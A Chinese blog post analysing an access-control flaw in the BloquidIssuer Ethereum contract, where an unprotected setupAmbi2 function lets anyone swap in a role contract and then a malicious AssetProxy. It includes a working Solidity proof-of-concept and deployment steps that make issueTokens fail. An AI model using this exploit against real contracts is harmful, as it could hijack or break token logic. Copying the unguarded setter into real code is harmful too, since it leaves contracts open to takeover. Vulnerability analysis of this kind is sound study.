智能合约新手
前几天浏览Solidity源代码发现一个有趣的现象,一个contract可以在状态变量中声明未被实现的其他contract,部署后通过setter改变状态变量的address,从而将代码逻辑添加到主contract中。
但是,如果状态变量的修改权限没有被保护,将导致该合约执行攻击者撰写的恶意代码,影响合约的正确执行
视频讲解已发布在B站
- 以太坊地址: BloquidIssuer | Address 0x333f37329c6d2346001501f235d33bf68ec1cf5e | Etherscan
- Remix:Remix - Ethereum IDE
该地址的主合约是BloquidIssuer,连续继承了Ambi2EnabledFull和Ambi2Enabled
合约文件还有3个抽象contract,即没有实现函数逻辑的接口合约,Ambi2、EToken2Interface、AssetProxy
主合约BloquidIssuer有一个AsserProxy类型的状态变量,能够被setupAssetProxy函数赋值修改,而该函数的函数修饰器onlyRole需要AmbitiousEnabled合约的ambi2状态变量满足2个条件
- 地址不为空,即部署后的合约
- hashRole的返回值为true
有趣的事情出现了,Ambi2Enabled合约中的ambi2状态变量能够通过setupAmbi2函数任意修改,这一连串的调用结果就是:BloquidIssuer的AsserProxy能够被外界任意赋值!
因此,BloquidIssuer中的issueTokens函数将调用攻击者编写的AssetProxy合约实现的逻辑,而坏心眼的攻击者肯定会搞小动作,比如写一个永远不能满足的require
我写了一个小demo,能够触发上述漏洞
pragma solidity ^0.4.11;
contract Ambi2 {
function hasRole(address, bytes32, address) constant returns (bool);
function claimFor(address, address) returns (bool);
function isOwner(address, address) constant returns (bool);
}
contract A is Ambi2{
function hasRole(address, bytes32, address) constant returns (bool){
return true;
}
function claimFor(address, address) returns (bool){
return true;
}
function isOwner(address, address) constant returns (bool){
return true;
}
}
contract Ambi2Enabled {
Ambi2 ambi2;
modifier onlyRole(bytes32 _role) {
if (address(ambi2) != 0x0 && ambi2.hasRole(this, _role, msg.sender)) {
_;
}
}
// Perform only after claiming the node, or claim in the same tx.
function setupAmbi2(Ambi2 _ambi2) returns (bool) {
if (address(ambi2) != 0x0) {
return false;
}
ambi2 = _ambi2;
return true;
}
}
contract Ambi2EnabledFull is Ambi2Enabled {
// Setup and claim atomically.
function setupAmbi2(Ambi2 _ambi2) returns (bool) {
if (address(ambi2) != 0x0) {
return false;
}
if (!_ambi2.claimFor(this, msg.sender) && !_ambi2.isOwner(this, msg.sender)) {
return false;
}
ambi2 = _ambi2;
return true;
}
}
contract EToken2Interface {
function reissueAsset(bytes32 _symbol, uint _value) returns (bool);
function changeOwnership(bytes32 _symbol, address _newOwner) returns (bool);
}
contract C is EToken2Interface{
function reissueAsset(bytes32 _symbol, uint _value) returns (bool){
return true;
}
function changeOwnership(bytes32 _symbol, address _newOwner) returns (bool){
return true;
}
}
contract AssetProxy {
EToken2Interface public etoken2;
bytes32 public etoken2Symbol;
function transferWithReference(address _to, uint _value, string _reference) returns (bool);
}
contract B is AssetProxy{
function set(address a){
etoken2=EToken2Interface(a);
}
function transferWithReference(address _to, uint _value, string _reference) returns (bool){
require(1==2,"haha");
return true;
}
}
contract BloquidIssuer is Ambi2EnabledFull {
// function transferWithReference(address _to, uint _value, string _reference) returns (bool){
// return true;
// }
AssetProxy public assetProxy;
function setupAssetProxy(AssetProxy _assetProxy) onlyRole("__root__") returns (bool) {
if ((address(assetProxy) != 0x0) || (address(_assetProxy) == 0x0)) {
return false;
}
assetProxy = _assetProxy;
return true;
}
function issueTokens(uint _value, string _regNumber) onlyRole("issuer") returns (bool) {
bytes32 symbol = assetProxy.etoken2Symbol();
EToken2Interface etoken2 = assetProxy.etoken2();
if (!etoken2.reissueAsset(symbol, _value)) {
return false;
}
if (!assetProxy.transferWithReference(msg.sender, _value, _regNumber)) {
throw;
}
return true;
}
function changeAssetOwner(address _newOwner) onlyRole("__root__") returns (bool) {
if (_newOwner == 0x0) {
return false;
}
bytes32 symbol = assetProxy.etoken2Symbol();
EToken2Interface etoken2 = assetProxy.etoken2();
if (!etoken2.changeOwnership(symbol, _newOwner)) {
return false;
}
return true;
}
}
按照下述步骤部署:文章来源:https://www.toymoban.com/news/detail-405536.html
- 部署BloquidIssuer
- 部署A,
- 执行BloquidIssuer.setupAmbi2,参数为A的地址。返回值为true
- 部署B
- 部署C
- 执行B.set,参数为C的值
- 执行BloquidIssuer.setupAssetProxy,参数为B的地址。返回值为true
- 执行BloquidIssuer.issueTokens,参数为(22, 22),随意,啥都行
你将会看到message为"haha"文章来源地址https://www.toymoban.com/news/detail-405536.html
到了这里,关于智能合约漏洞:未被权限保护的状态变量的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!